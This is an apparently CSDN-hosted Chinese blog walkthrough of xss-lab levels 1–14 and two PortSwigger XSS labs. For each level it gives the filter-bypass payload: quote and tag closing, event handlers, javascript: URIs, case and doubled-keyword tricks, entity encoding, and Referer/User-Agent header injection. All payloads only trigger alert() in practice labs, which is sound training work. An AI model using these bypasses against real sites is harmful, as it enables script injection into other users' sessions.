xss-lab前十四道和burpsuite靶场前两道

第一道

审查url发现用户名被提交,在name后输入123重新提交。

查看html代码和php代码,未发现过滤。

直接修改name参数,注入payload。

<script>alert("xss")</script>

过关。

第二道

发现第二道题有搜索框,试着在搜索框里输入第一关的payload。

行不通,查看html和php代码。

在html代码中可以看出,<和>,"被实体化。

查看php代码可以发现添加了 htmlspecialchars() 函数;用于将<>"'&转化为html实体,应该是用此函数把keyword部分进行了实体化。

但是value部分没有被实体化,所以尝试闭合标签,因为是双引号闭合,

故有 

"><script>alert("xss")</script>//

//用来把多余部分注释掉。

过关。

第三道

同样有搜索框,随便打点东西找一下在html代码里的位置,发现value处变成了单引号闭合

把上一关的参数中双引号闭合改为单引号闭合尝试一下。-------------过不了。

查看php代码发现value处也使用了

函数。标签闭合行不通。

因此要考虑js中的事件,先用单引号闭合再利用  Javascript伪协议执行JS代码

​

'onfocus=javascript:alert('xss')>

​

没有直接跳转,需要点击搜索框才能跳转

过关。

第四道

html中并无异样,尝试双引号闭合

"><script>alert("xss")</script>

发现行不通,查看php代码,

$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);

发现大于号、小于号、被使用字符替换删除了,

不能用大于、小于号,再次尝试双引号闭合事件

"onclick=javascript:alert("xss")//

再次点击搜索栏,过关。

第五道

查看html代码,使用双引号闭合,尝试常规双引号闭合

"><script>alert("xss")</script>//

行不通,打开发现script被替换为scr_ipt。查看后端代码

发现有

$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);

script和on事件都被过滤掉了,

还可以尝试写一个超文本链接实现,

"> <a href=javascript:alert('xss') > xss</a> //

点击链接,过关。

第六道

html看不出眉目,直接看php

$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);

嗯,过滤了很多。但是,他没过滤大写

试一下

"><SCRIPT>alert("xss")</script>//

成了,过关。

第七道

看代码好像没什么区别,试一下上一关的

这次被删除了,

$str =strtolower( $_GET["keyword"]);

强行把大写转换成小写了 

那就要从过滤下手了,代码里的过滤并不是递归,所以相关字符只会过滤一次,外面再套一层就行了。

" oonnclick='alert(1)' //

过关。

第八道

看一眼代码,可行的操作都堵了。

现在考虑一下把payload转为html实体,

CyberChef (gchq.github.io)

javascript='alert(1)'
&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;

点击链接,过关。

第九道

与上一道大同小异,多了"http://"检测

直接alert(‘http://’)就行

java&#115;&#99;&#114;&#105;&#112;&#116;:alert('xsshttp://')

过关

第十道

看后端代码

发现有一个隐藏的表单

<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.$str33.'" type="hidden">
</form>

尝试使用onclick弹窗,

&t_sort="type=text οnclick=alert(1)//

text让隐藏的输入框显示出来

点击输入框,过关。

 第十一题

和第十题一样,没有注入点,审计php代码,先找出注入的变量,还是t_sort

尝试上一关的方法、

?t_sort="onclick:alert(1) type="text"//

行不通了

再次查看代码

$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);

真正的来源是在http头部。

使用burpsuite抓包

拦截的数据包里没有referer头部,可以手动添加

Referer:"type="text" onclick="alert(1)"//

放行,点击输入框,过关。

第十二题

审计php

$str11=$_SERVER['HTTP_USER_AGENT'];
<input name="t_ua"  value="'.$str33.'" type="hidden">

t_ua的值是user_agent,操作同上,抓包修改user-agent

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0 "type="text" onclick="alert(1)"//

payload同上一关。

点击输入框过关

第十三题

我的第十三关出错了,但通过审计PHP代码来看

$str11=$_COOKIE["user"];
<input name="t_cook"  value="'.$str33.'" type="hidden">

应该是修改数据包中的cookie头部从而注入payload

第十四题

src="http://www.exifviewer.org/"

 需要访问图片中的url,但是一直无响应

思路是上传一个图片,将图片的exif元数据改为xss的payload进行注入

portswigger靶场   xss学徒两题

第一题:Reflected XSS into HTML context with nothing encoded

打开发现有一个输入栏,审查html代码,搜索文本找到form相关,直接注入xss脚本

<script>alert("xss")</script>

弹出窗口,成功。

第二题:Stored XSS into HTML context with nothing encoded

涉及的xss类型是存储型。

打开任意一篇

发现有输入的评论区可以注入xss,查看源代码,

查找form,但其实textarea标签才是输入评论的地方。

回到网页,直接注入

<script>alert("xss")</script>

随便输入一个名字、邮箱

发布,弹出窗口,成功

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值